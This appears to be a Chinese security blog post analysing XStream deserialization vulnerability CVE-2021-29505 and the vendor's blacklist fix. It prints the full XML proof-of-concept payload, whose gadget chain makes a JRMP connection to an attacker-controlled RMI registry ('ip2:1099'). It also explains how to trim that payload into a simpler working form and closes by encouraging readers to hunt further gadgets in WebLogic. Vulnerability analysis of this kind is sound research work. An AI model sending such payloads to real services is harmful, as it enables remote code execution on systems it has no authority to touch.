XStream CVE-2021-29505分析与简化
简介
最近有点其他事,很久没有更新了。正好看到XStream又发布最新的漏洞通告了,而且还有很多人复现,维度缺少分析文章。而且XStream官网公布的payload貌似不能正常使用,者激发了我的好奇心。恰好前段时间分析微某ao积累了一点点XStream分析经验。
漏洞分析
我们首先明确一点,XStream是一个序列化存储对象的库,类似于java原生的序列化。所以Xstream可以用在任何地方。很多公众号通过web接口去复现xstream的方法是及其不负责的,很让人容易产生错觉。
Xstream新增了很多功能,例如可以序列化未继承自java.io.serializable
接口的类的对象。其他功能均与java原生的序列化功能一样,如果xstream在反序列化的时候发现还原继承自java.io.serializable
的类,则同样会调用对象的readObject
方法。
Ysoserial所有的payload均可以转换为xstream格式
所以反序列化漏洞的特点在于类的readObject方法,分析的时候重点看readObject方法都做了什么操作。
目前xstream的修复方案是,没有修复方案,就新增几个黑名单。但是我们知道,xstream可以反序列化任意文件,所以gadget相对好挖
cve-2021-29505的payload如下所示,
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
</default>
<int>3</int>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>12345</type>
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
<m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content: <none></m__obj>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>12345</type>
<value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
<message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
<parsedMessage>true</parsedMessage>
<soapVersion>SOAP_11</soapVersion>
<bodyParts/>
<sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
<attachmentsInitialized>false</attachmentsInitialized>
<multiPart class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
<soapPart/>
<mm>
<it class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
<aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>
<candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>
<names>
<string>aa</string>
<string>aa</string>
</names>
<ctx>
<environment/>
<registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>
<java.rmi.server.RemoteObject>
<string>UnicastRef</string>
<string>ip2</string>
<int>1099</int>
<long>0</long>
<int>0</int>
<short>0</short>
<boolean>false</boolean>
</java.rmi.server.RemoteObject>
</registry>
<host>ip2</host>
<port>1099</port>
</ctx>
</candidates>
</aliases>
</it>
</mm>
</multiPart>
</sm>
</message>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
当然,这段从官网上摘抄的poc是无法使用的,原因我们一会再讲,我们主要说一下xstream是怎么存储一个对象的。
如果序列化自一个对象,则xml的开始标签为对象的类的名称,如果该类存在readObject方法,则标签内注明serialization='custom'。在这里,xstream是不负责被序列化的类的一致性检测(suid)的。所以使用xstream在做某些序列化对象的操作的时候一定要注意。
与java原生反序列化存储格式相同,xml标签中,首先存储父类的字段信息,然后再存储子类的。顺序则按照类声明字段的顺序。每一层,都会注明子类的全限定名。在对象中,每个xml标签对应着对象的字段。
xstream为了不过多干涉用户的序列化工作,又为了安全性着想,只弄了一个简简单单的黑名单。但是xstream的官方建议是,自己写黑名单类!1.4.16的黑名单类如下,两个都是,也没必要搞清楚了,知道是过滤就行了。
好了,现在基础知识我们知道了。下面开始分析上面的poc,
java.util.PriorityQueue
类顾名思义,维持一个有序队列。为了保证反序列化后的队列是有序的,所以在无序地还原完所有元素后,调用heapify
方法,将目前无序的队列变成有序的。在这里java为了给我们很大的自由度,规定只要继承自Compare接口的类都可以用来做排序算法。(思考一下是不是与c#的typeConfused gadget类似)
一般java.util.PriorityQueue
类的反序列化出发点都会在heapify
方法中,也就是调整元素的顺序。但是上面的poc显然并不是这样触发的,原因是poc中根本就没有还原compare字段。
按照我刚才的思路,找poc中类的readObject方法,发现JRMP最终是由sun.rmi.registry.RegistryImpl_Stub
去处理。下面我们看看相关代码
要还原RegistryImpl_Stub对象,按照反序列化先后顺序,首先还原父类的字段信息,也就是java.rmi.server.RemoteObject
,在poc中已经写明。然后调用java.rmi.server.RemoteObject
的readObject方法
首先实例化UnicastRef对象,然后调用UnicastRef对象的readExternal方法,最终实际调用的代码如下
看到DGCClient.registerRefs
,一切就简单明了了。在先知上的 针对RMI服务的九重攻击 - 下中已经分析过了。部分截图如下
既然我们已经知道了触发流程,那么来简化一下poc吧,删掉不需要的地方,只保留sun.rmi.registry.RegistryImpl_Stub
部分,注意别保留java.rmi.server.RemoteObject
部分,因为java.rmi.server.RemoteObject
是抽象类,不可以被直接实例化的。反序列化也要遵守JVM的规定
触发一下poc
修复分析
我们看一下xstream 1.4.17的黑名单变化
将与rmi有关的类名,全部加入黑名单中。但是治标不治本,weblogic包中也有很多关于rmi的部分哟,祝大家挖的愉快